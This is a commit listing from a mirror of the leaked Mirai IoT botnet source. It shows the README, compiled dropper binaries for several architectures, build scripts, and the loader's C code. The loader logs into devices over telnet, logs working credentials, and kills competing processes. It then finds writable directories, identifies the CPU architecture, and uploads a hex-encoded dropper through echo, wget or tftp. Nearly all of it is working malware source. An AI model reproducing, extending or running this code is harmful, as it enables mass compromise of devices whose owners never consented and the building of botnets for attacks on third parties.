mirror of
https://github.com/jgamblin/Mirai-Source-Code
synced 2025-07-07 20:32:51 +00:00
Code Upload
Code Upload
This commit is contained in:
commit
6a5941be68
3
README.md
Executable file
3
README.md
Executable file
@ -0,0 +1,3 @@
|
||||
# Mirai Botnet Client, Echo Loader and CNC source code release
|
||||
|
||||
This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/).
|
BIN
loader/bins/dlr.arm
Executable file
BIN
loader/bins/dlr.arm
Executable file
Binary file not shown.
BIN
loader/bins/dlr.arm7
Executable file
BIN
loader/bins/dlr.arm7
Executable file
Binary file not shown.
BIN
loader/bins/dlr.m68k
Executable file
BIN
loader/bins/dlr.m68k
Executable file
Binary file not shown.
BIN
loader/bins/dlr.mips
Executable file
BIN
loader/bins/dlr.mips
Executable file
Binary file not shown.
BIN
loader/bins/dlr.mpsl
Executable file
BIN
loader/bins/dlr.mpsl
Executable file
Binary file not shown.
BIN
loader/bins/dlr.ppc
Executable file
BIN
loader/bins/dlr.ppc
Executable file
Binary file not shown.
BIN
loader/bins/dlr.sh4
Executable file
BIN
loader/bins/dlr.sh4
Executable file
Binary file not shown.
BIN
loader/bins/dlr.spc
Executable file
BIN
loader/bins/dlr.spc
Executable file
Binary file not shown.
BIN
loader/bins/dlr.x86
Executable file
BIN
loader/bins/dlr.x86
Executable file
Binary file not shown.
2
loader/build.debug.sh
Executable file
2
loader/build.debug.sh
Executable file
@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg
|
2
loader/build.sh
Executable file
2
loader/build.sh
Executable file
@ -0,0 +1,2 @@
|
||||
#!/bin/bash
|
||||
gcc -static -O3 -lpthread -pthread src/*.c -o loader
|
83
loader/src/binary.c
Executable file
83
loader/src/binary.c
Executable file
@ -0,0 +1,83 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <glob.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/binary.h"
|
||||
|
||||
static int bin_list_len = 0;
|
||||
static struct binary **bin_list = NULL;
|
||||
|
||||
BOOL binary_init(void)
|
||||
{
|
||||
glob_t pglob;
|
||||
int i;
|
||||
|
||||
if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0)
|
||||
{
|
||||
printf("Failed to load from bins folder!\n");
|
||||
return;
|
||||
}
|
||||
|
||||
for (i = 0; i < pglob.gl_pathc; i++)
|
||||
{
|
||||
char file_name[256];
|
||||
struct binary *bin;
|
||||
|
||||
bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *));
|
||||
bin_list[bin_list_len] = calloc(1, sizeof (struct binary));
|
||||
bin = bin_list[bin_list_len++];
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);
|
||||
#endif
|
||||
strcpy(file_name, pglob.gl_pathv[i]);
|
||||
strtok(file_name, ".");
|
||||
strcpy(bin->arch, strtok(NULL, "."));
|
||||
load(bin, pglob.gl_pathv[i]);
|
||||
}
|
||||
|
||||
globfree(&pglob);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
struct binary *binary_get_by_arch(char *arch)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i = 0; i < bin_list_len; i++)
|
||||
{
|
||||
if (strcmp(arch, bin_list[i]->arch) == 0)
|
||||
return bin_list[i];
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static BOOL load(struct binary *bin, char *fname)
|
||||
{
|
||||
FILE *file;
|
||||
char rdbuf[BINARY_BYTES_PER_ECHOLINE];
|
||||
int n;
|
||||
|
||||
if ((file = fopen(fname, "r")) == NULL)
|
||||
{
|
||||
printf("Failed to open %s for parsing\n", fname);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0)
|
||||
{
|
||||
char *ptr;
|
||||
int i;
|
||||
|
||||
bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *));
|
||||
bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8);
|
||||
ptr = bin->hex_payloads[bin->hex_payloads_len++];
|
||||
|
||||
for (i = 0; i < n; i++)
|
||||
ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]);
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
657
loader/src/connection.c
Executable file
657
loader/src/connection.c
Executable file
@ -0,0 +1,657 @@
|
||||
#include <sys/socket.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <time.h>
|
||||
#include <pthread.h>
|
||||
#include "headers/includes.h"
|
||||
#include "headers/connection.h"
|
||||
#include "headers/server.h"
|
||||
#include "headers/binary.h"
|
||||
#include "headers/util.h"
|
||||
|
||||
void connection_open(struct connection *conn)
|
||||
{
|
||||
pthread_mutex_lock(&conn->lock);
|
||||
|
||||
conn->rdbuf_pos = 0;
|
||||
conn->last_recv = time(NULL);
|
||||
conn->timeout = 10;
|
||||
conn->echo_load_pos = 0;
|
||||
conn->state_telnet = TELNET_CONNECTING;
|
||||
conn->success = FALSE;
|
||||
conn->open = TRUE;
|
||||
conn->bin = NULL;
|
||||
conn->echo_load_pos = 0;
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Called connection_open\n", conn->fd);
|
||||
#endif
|
||||
|
||||
pthread_mutex_unlock(&conn->lock);
|
||||
}
|
||||
|
||||
void connection_close(struct connection *conn)
|
||||
{
|
||||
pthread_mutex_lock(&conn->lock);
|
||||
|
||||
if (conn->open)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Shut down connection\n", conn->fd);
|
||||
#endif
|
||||
memset(conn->output_buffer.data, 0, sizeof(conn->output_buffer.data));
|
||||
conn->output_buffer.deadline = 0;
|
||||
conn->last_recv = 0;
|
||||
conn->open = FALSE;
|
||||
conn->retry_bin = FALSE;
|
||||
conn->ctrlc_retry = FALSE;
|
||||
memset(conn->rdbuf, 0, sizeof(conn->rdbuf));
|
||||
conn->rdbuf_pos = 0;
|
||||
|
||||
if (conn->srv == NULL)
|
||||
{
|
||||
printf("srv == NULL\n");
|
||||
return;
|
||||
}
|
||||
|
||||
if (conn->success)
|
||||
{
|
||||
ATOMIC_INC(&conn->srv->total_successes);
|
||||
fprintf(stderr, "OK|%d.%d.%d.%d:%d %s:%s %s\n",
|
||||
conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff,
|
||||
ntohs(conn->info.port),
|
||||
conn->info.user, conn->info.pass, conn->info.arch);
|
||||
}
|
||||
else
|
||||
{
|
||||
ATOMIC_INC(&conn->srv->total_failures);
|
||||
fprintf(stderr, "ERR|%d.%d.%d.%d:%d %s:%s %s|%d\n",
|
||||
conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff,
|
||||
ntohs(conn->info.port),
|
||||
conn->info.user, conn->info.pass, conn->info.arch,
|
||||
conn->state_telnet);
|
||||
}
|
||||
}
|
||||
conn->state_telnet = TELNET_CLOSED;
|
||||
|
||||
if (conn->fd != -1)
|
||||
{
|
||||
close(conn->fd);
|
||||
conn->fd = -1;
|
||||
ATOMIC_DEC(&conn->srv->curr_open);
|
||||
}
|
||||
|
||||
pthread_mutex_unlock(&conn->lock);
|
||||
}
|
||||
|
||||
int connection_consume_iacs(struct connection *conn)
|
||||
{
|
||||
int consumed = 0;
|
||||
uint8_t *ptr = conn->rdbuf;
|
||||
|
||||
while (consumed < conn->rdbuf_pos)
|
||||
{
|
||||
int i;
|
||||
|
||||
if (*ptr != 0xff)
|
||||
break;
|
||||
else if (*ptr == 0xff)
|
||||
{
|
||||
if (!can_consume(conn, ptr, 1))
|
||||
break;
|
||||
if (ptr[1] == 0xff)
|
||||
{
|
||||
ptr += 2;
|
||||
consumed += 2;
|
||||
continue;
|
||||
}
|
||||
else if (ptr[1] == 0xfd)
|
||||
{
|
||||
uint8_t tmp1[3] = {255, 251, 31};
|
||||
uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
|
||||
|
||||
if (!can_consume(conn, ptr, 2))
|
||||
break;
|
||||
if (ptr[2] != 31)
|
||||
goto iac_wont;
|
||||
|
||||
ptr += 3;
|
||||
consumed += 3;
|
||||
|
||||
send(conn->fd, tmp1, 3, MSG_NOSIGNAL);
|
||||
send(conn->fd, tmp2, 9, MSG_NOSIGNAL);
|
||||
}
|
||||
else
|
||||
{
|
||||
iac_wont:
|
||||
|
||||
if (!can_consume(conn, ptr, 2))
|
||||
break;
|
||||
|
||||
for (i = 0; i < 3; i++)
|
||||
{
|
||||
if (ptr[i] == 0xfd)
|
||||
ptr[i] = 0xfc;
|
||||
else if (ptr[i] == 0xfb)
|
||||
ptr[i] = 0xfd;
|
||||
}
|
||||
|
||||
send(conn->fd, ptr, 3, MSG_NOSIGNAL);
|
||||
ptr += 3;
|
||||
consumed += 3;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return consumed;
|
||||
}
|
||||
|
||||
int connection_consume_login_prompt(struct connection *conn)
|
||||
{
|
||||
char *pch;
|
||||
int i, prompt_ending = -1;
|
||||
|
||||
for (i = conn->rdbuf_pos; i >= 0; i--)
|
||||
{
|
||||
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("matched login prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
|
||||
#endif
|
||||
prompt_ending = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
{
|
||||
int tmp;
|
||||
|
||||
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)
|
||||
prompt_ending = tmp;
|
||||
else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)
|
||||
prompt_ending = tmp;
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
int connection_consume_password_prompt(struct connection *conn)
|
||||
{
|
||||
char *pch;
|
||||
int i, prompt_ending = -1;
|
||||
|
||||
for (i = conn->rdbuf_pos; i >= 0; i--)
|
||||
{
|
||||
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("matched password prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
|
||||
#endif
|
||||
prompt_ending = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
{
|
||||
int tmp;
|
||||
|
||||
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1)
|
||||
prompt_ending = tmp;
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
int connection_consume_prompt(struct connection *conn)
|
||||
{
|
||||
char *pch;
|
||||
int i, prompt_ending = -1;
|
||||
|
||||
for (i = conn->rdbuf_pos; i >= 0; i--)
|
||||
{
|
||||
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("matched any prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
|
||||
#endif
|
||||
prompt_ending = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
int connection_consume_verify_login(struct connection *conn)
|
||||
{
|
||||
int prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
else
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
int connection_consume_psoutput(struct connection *conn)
|
||||
{
|
||||
int offset;
|
||||
char *start = conn->rdbuf;
|
||||
int i, ii;
|
||||
|
||||
offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
for (i = 0; i < (offset == -1 ? conn->rdbuf_pos : offset); i++)
|
||||
{
|
||||
if (conn->rdbuf[i] == '\r')
|
||||
conn->rdbuf[i] = 0;
|
||||
else if (conn->rdbuf[i] == '\n')
|
||||
{
|
||||
uint8_t option_on = 0;
|
||||
BOOL last_character_was_space = FALSE;
|
||||
char *pid_str = NULL, *proc_name = NULL;
|
||||
|
||||
conn->rdbuf[i] = 0;
|
||||
for (ii = 0; ii < ((char *)&conn->rdbuf[i] - start); ii++)
|
||||
{
|
||||
if (start[ii] == ' ' || start[ii] == '\t' || start[ii] == 0)
|
||||
{
|
||||
if (option_on > 0 && !last_character_was_space)
|
||||
option_on++;
|
||||
start[ii] = 0;
|
||||
last_character_was_space = TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (option_on == 0)
|
||||
{
|
||||
pid_str = &start[ii];
|
||||
option_on++;
|
||||
}
|
||||
else if (option_on >= 3 && option_on <= 5 && last_character_was_space)
|
||||
{
|
||||
proc_name = &start[ii];
|
||||
}
|
||||
last_character_was_space = FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
if (pid_str != NULL && proc_name != NULL)
|
||||
{
|
||||
int pid = atoi(pid_str);
|
||||
int len_proc_name = strlen(proc_name);
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("pid: %d, proc_name: %s\n", pid, proc_name);
|
||||
#endif
|
||||
|
||||
if (pid != 1 && (strcmp(proc_name, "init") == 0 || strcmp(proc_name, "[init]") == 0)) // Kill the second init
|
||||
util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid);
|
||||
else if (pid > 400)
|
||||
{
|
||||
int num_count = 0;
|
||||
int num_alphas = 0;
|
||||
|
||||
for (ii = 0; ii < len_proc_name; ii++)
|
||||
{
|
||||
if (proc_name[ii] >= '0' && proc_name[ii] <= '9')
|
||||
num_count++;
|
||||
else if ((proc_name[ii] >= 'a' && proc_name[ii] <= 'z') || (proc_name[ii] >= 'A' && proc_name[ii] <= 'Z'))
|
||||
{
|
||||
num_alphas++;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (num_alphas == 0 && num_count > 0)
|
||||
{
|
||||
//util_sockprintf(conn->fd, "/bin/busybox cat /proc/%d/environ", pid); // lol
|
||||
#ifdef DEBUG
|
||||
printf("Killing suspicious process (pid=%d, name=%s)\n", pid, proc_name);
|
||||
#endif
|
||||
util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
start = conn->rdbuf + i + 1;
|
||||
}
|
||||
}
|
||||
|
||||
if (offset == -1)
|
||||
{
|
||||
if (conn->rdbuf_pos > 7168)
|
||||
{
|
||||
memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144);
|
||||
conn->rdbuf_pos -= 6144;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
for (i = 0; i < conn->rdbuf_pos; i++)
|
||||
{
|
||||
if (conn->rdbuf[i] == 0)
|
||||
conn->rdbuf[i] = ' ';
|
||||
}
|
||||
return offset;
|
||||
}
|
||||
}
|
||||
|
||||
int connection_consume_mounts(struct connection *conn)
|
||||
{
|
||||
char linebuf[256];
|
||||
int linebuf_pos = 0, num_whitespaces = 0;
|
||||
int i, prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (prompt_ending == -1)
|
||||
return 0;
|
||||
|
||||
for (i = 0; i < prompt_ending; i++)
|
||||
{
|
||||
|
||||
if (linebuf_pos == sizeof(linebuf) - 1)
|
||||
{
|
||||
// why are we here
|
||||
break;
|
||||
}
|
||||
|
||||
if (conn->rdbuf[i] == '\n')
|
||||
{
|
||||
char *path, *mnt_info;
|
||||
|
||||
linebuf[linebuf_pos++] = 0;
|
||||
|
||||
strtok(linebuf, " "); // Skip name of partition
|
||||
if ((path = strtok(NULL, " ")) == NULL)
|
||||
goto dirs_end_line;
|
||||
if (strtok(NULL, " ") == NULL) // Skip type of partition
|
||||
goto dirs_end_line;
|
||||
if ((mnt_info = strtok(NULL, " ")) == NULL)
|
||||
goto dirs_end_line;
|
||||
|
||||
if (path[strlen(path) - 1] == '/')
|
||||
path[strlen(path) - 1] = 0;
|
||||
|
||||
if (util_memsearch(mnt_info, strlen(mnt_info), "rw", 2) != -1)
|
||||
{
|
||||
util_sockprintf(conn->fd, "/bin/busybox echo -e '%s%s' > %s/.nippon; /bin/busybox cat %s/.nippon; /bin/busybox rm %s/.nippon\r\n",
|
||||
VERIFY_STRING_HEX, path, path, path, path, path);
|
||||
}
|
||||
|
||||
dirs_end_line:
|
||||
linebuf_pos = 0;
|
||||
}
|
||||
else if (conn->rdbuf[i] == ' ' || conn->rdbuf[i] == '\t')
|
||||
{
|
||||
if (num_whitespaces++ == 0)
|
||||
linebuf[linebuf_pos++] = conn->rdbuf[i];
|
||||
}
|
||||
else if (conn->rdbuf[i] != '\r')
|
||||
{
|
||||
num_whitespaces = 0;
|
||||
linebuf[linebuf_pos++] = conn->rdbuf[i];
|
||||
}
|
||||
}
|
||||
|
||||
util_sockprintf(conn->fd, "/bin/busybox echo -e '%s/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon\r\n",
|
||||
VERIFY_STRING_HEX);
|
||||
|
||||
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
|
||||
return prompt_ending;
|
||||
}
|
||||
|
||||
int connection_consume_written_dirs(struct connection *conn)
|
||||
{
|
||||
int end_pos, i, offset, total_offset = 0;
|
||||
BOOL found_writeable = FALSE;
|
||||
|
||||
if ((end_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) == -1)
|
||||
return 0;
|
||||
|
||||
while (TRUE)
|
||||
{
|
||||
char *pch;
|
||||
int pch_len;
|
||||
|
||||
offset = util_memsearch(conn->rdbuf + total_offset, end_pos - total_offset, VERIFY_STRING_CHECK, strlen(VERIFY_STRING_CHECK));
|
||||
if (offset == -1)
|
||||
break;
|
||||
total_offset += offset;
|
||||
|
||||
pch = strtok(conn->rdbuf + total_offset, "\n");
|
||||
if (pch == NULL)
|
||||
continue;
|
||||
pch_len = strlen(pch);
|
||||
|
||||
if (pch[pch_len - 1] == '\r')
|
||||
pch[pch_len - 1] = 0;
|
||||
|
||||
util_sockprintf(conn->fd, "rm %s/.t; rm %s/.sh; rm %s/.human\r\n", pch, pch, pch);
|
||||
if (!found_writeable)
|
||||
{
|
||||
if (pch_len < 31)
|
||||
{
|
||||
strcpy(conn->info.writedir, pch);
|
||||
found_writeable = TRUE;
|
||||
}
|
||||
else
|
||||
connection_close(conn);
|
||||
}
|
||||
}
|
||||
|
||||
return end_pos;
|
||||
}
|
||||
|
||||
int connection_consume_copy_op(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
return offset;
|
||||
}
|
||||
|
||||
int connection_consume_arch(struct connection *conn)
|
||||
{
|
||||
if (!conn->info.has_arch)
|
||||
{
|
||||
struct elf_hdr *ehdr;
|
||||
int elf_start_pos;
|
||||
|
||||
if ((elf_start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ELF", 3)) == -1)
|
||||
return 0;
|
||||
elf_start_pos -= 4; // Go back ELF
|
||||
|
||||
ehdr = (struct elf_hdr *)(conn->rdbuf + elf_start_pos);
|
||||
conn->info.has_arch = TRUE;
|
||||
|
||||
switch (ehdr->e_ident[EI_DATA])
|
||||
{
|
||||
case EE_NONE:
|
||||
return 0;
|
||||
case EE_BIG:
|
||||
#ifdef LOADER_LITTLE_ENDIAN
|
||||
ehdr->e_machine = htons(ehdr->e_machine);
|
||||
#endif
|
||||
break;
|
||||
case EE_LITTLE:
|
||||
#ifdef LOADER_BIG_ENDIAN
|
||||
ehdr->e_machine = htons(ehdr->e_machine);
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
|
||||
/* arm mpsl spc m68k ppc x86 mips sh4 */
|
||||
if (ehdr->e_machine == EM_ARM || ehdr->e_machine == EM_AARCH64)
|
||||
strcpy(conn->info.arch, "arm");
|
||||
else if (ehdr->e_machine == EM_MIPS || ehdr->e_machine == EM_MIPS_RS3_LE)
|
||||
{
|
||||
if (ehdr->e_ident[EI_DATA] == EE_LITTLE)
|
||||
strcpy(conn->info.arch, "mpsl");
|
||||
else
|
||||
strcpy(conn->info.arch, "mips");
|
||||
}
|
||||
else if (ehdr->e_machine == EM_386 || ehdr->e_machine == EM_486 || ehdr->e_machine == EM_860 || ehdr->e_machine == EM_X86_64)
|
||||
strcpy(conn->info.arch, "x86");
|
||||
else if (ehdr->e_machine == EM_SPARC || ehdr->e_machine == EM_SPARC32PLUS || ehdr->e_machine == EM_SPARCV9)
|
||||
strcpy(conn->info.arch, "spc");
|
||||
else if (ehdr->e_machine == EM_68K || ehdr->e_machine == EM_88K)
|
||||
strcpy(conn->info.arch, "m68k");
|
||||
else if (ehdr->e_machine == EM_PPC || ehdr->e_machine == EM_PPC64)
|
||||
strcpy(conn->info.arch, "ppc");
|
||||
else if (ehdr->e_machine == EM_SH)
|
||||
strcpy(conn->info.arch, "sh4");
|
||||
else
|
||||
{
|
||||
conn->info.arch[0] = 0;
|
||||
connection_close(conn);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
int offset;
|
||||
|
||||
if ((offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) != -1)
|
||||
return offset;
|
||||
if (conn->rdbuf_pos > 7168)
|
||||
{
|
||||
// Hack drain buffer
|
||||
memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144);
|
||||
conn->rdbuf_pos -= 6144;
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int connection_consume_arm_subtype(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "ARMv7", 5) != -1 || util_memsearch(conn->rdbuf, offset, "ARMv6", 5) != -1)
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[FD%d] Arch has ARMv7!\n", conn->fd);
|
||||
#endif
|
||||
strcpy(conn->info.arch, "arm7");
|
||||
}
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
int connection_consume_upload_methods(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "wget: applet not found", 22) == -1)
|
||||
conn->info.upload_method = UPLOAD_WGET;
|
||||
else if (util_memsearch(conn->rdbuf, offset, "tftp: applet not found", 22) == -1)
|
||||
conn->info.upload_method = UPLOAD_TFTP;
|
||||
else
|
||||
conn->info.upload_method = UPLOAD_ECHO;
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
int connection_upload_echo(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
if (conn->bin == NULL)
|
||||
{
|
||||
connection_close(conn);
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (conn->echo_load_pos == conn->bin->hex_payloads_len)
|
||||
return offset;
|
||||
|
||||
// echo -ne 'hex' [>]> path/FN_DROPPER
|
||||
util_sockprintf(conn->fd, "echo -ne '%s' %s " FN_DROPPER "; " TOKEN_QUERY "\r\n",
|
||||
conn->bin->hex_payloads[conn->echo_load_pos], (conn->echo_load_pos == 0) ? ">" : ">>");
|
||||
conn->echo_load_pos++;
|
||||
|
||||
// Hack drain
|
||||
memmove(conn->rdbuf, conn->rdbuf + offset, conn->rdbuf_pos - offset);
|
||||
conn->rdbuf_pos -= offset;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int connection_upload_wget(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
int connection_upload_tftp(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "Permission denied", 17) != -1)
|
||||
return offset * -1;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "timeout", 7) != -1)
|
||||
return offset * -1;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "illegal option", 14) != -1)
|
||||
return offset * -1;
|
||||
|
||||
return offset;
|
||||
}
|
||||
|
||||
int connection_verify_payload(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, EXEC_RESPONSE, strlen(EXEC_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
|
||||
if (util_memsearch(conn->rdbuf, offset, "listening tun0", 14) == -1)
|
||||
return offset;
|
||||
else
|
||||
return 255 + offset;
|
||||
}
|
||||
|
||||
int connection_consume_cleanup(struct connection *conn)
|
||||
{
|
||||
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
|
||||
|
||||
if (offset == -1)
|
||||
return 0;
|
||||
return offset;
|
||||
}
|
||||
|
||||
static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount)
|
||||
{
|
||||
uint8_t *end = conn->rdbuf + conn->rdbuf_pos;
|
||||
|
||||
return ptr + amount < end;
|
||||
}
|
16
loader/src/headers/binary.h
Executable file
16
loader/src/headers/binary.h
Executable file
@ -0,0 +1,16 @@
|
||||
#pragma once
|
||||
|
||||
#include "includes.h"
|
||||
|
||||
#define BINARY_BYTES_PER_ECHOLINE 128
|
||||
|
||||
struct binary {
|
||||
char arch[6];
|
||||
int hex_payloads_len;
|
||||
char **hex_payloads;
|
||||
};
|
||||
|
||||
BOOL binary_init(void);
|
||||
struct binary *binary_get_by_arch(char *arch);
|
||||
|
||||
static BOOL load(struct binary *bin, char *fname);
|
67
loader/src/headers/connection.h
Executable file
67
loader/src/headers/connection.h
Executable file
@ -0,0 +1,67 @@
|
||||
#pragma once
|
||||
|
||||
#include <time.h>
|
||||
#include <pthread.h>
|
||||
#include "includes.h"
|
||||
#include "telnet_info.h"
|
||||
|
||||
struct connection {
|
||||
pthread_mutex_t lock;
|
||||
struct server *srv;
|
||||
struct binary *bin;
|
||||
struct telnet_info info;
|
||||
int fd, echo_load_pos;
|
||||
time_t last_recv;
|
||||
enum {
|
||||
TELNET_CLOSED, // 0
|
||||
TELNET_CONNECTING, // 1
|
||||
TELNET_READ_IACS, // 2
|
||||
TELNET_USER_PROMPT, // 3
|
||||
TELNET_PASS_PROMPT, // 4
|
||||
TELNET_WAITPASS_PROMPT, // 5
|
||||
TELNET_CHECK_LOGIN, // 6
|
||||
TELNET_VERIFY_LOGIN, // 7
|
||||
TELNET_PARSE_PS, // 8
|
||||
TELNET_PARSE_MOUNTS, // 9
|
||||
TELNET_READ_WRITEABLE, // 10
|
||||
TELNET_COPY_ECHO, // 11
|
||||
TELNET_DETECT_ARCH, // 12
|
||||
TELNET_ARM_SUBTYPE, // 13
|
||||
TELNET_UPLOAD_METHODS, // 14
|
||||
TELNET_UPLOAD_ECHO, // 15
|
||||
TELNET_UPLOAD_WGET, // 16
|
||||
TELNET_UPLOAD_TFTP, // 17
|
||||
TELNET_RUN_BINARY, // 18
|
||||
TELNET_CLEANUP // 19
|
||||
} state_telnet;
|
||||
struct {
|
||||
char data[512];
|
||||
int deadline;
|
||||
} output_buffer;
|
||||
uint16_t rdbuf_pos, timeout;
|
||||
BOOL open, success, retry_bin, ctrlc_retry;
|
||||
uint8_t rdbuf[8192];
|
||||
};
|
||||
|
||||
void connection_open(struct connection *conn);
|
||||
void connection_close(struct connection *conn);
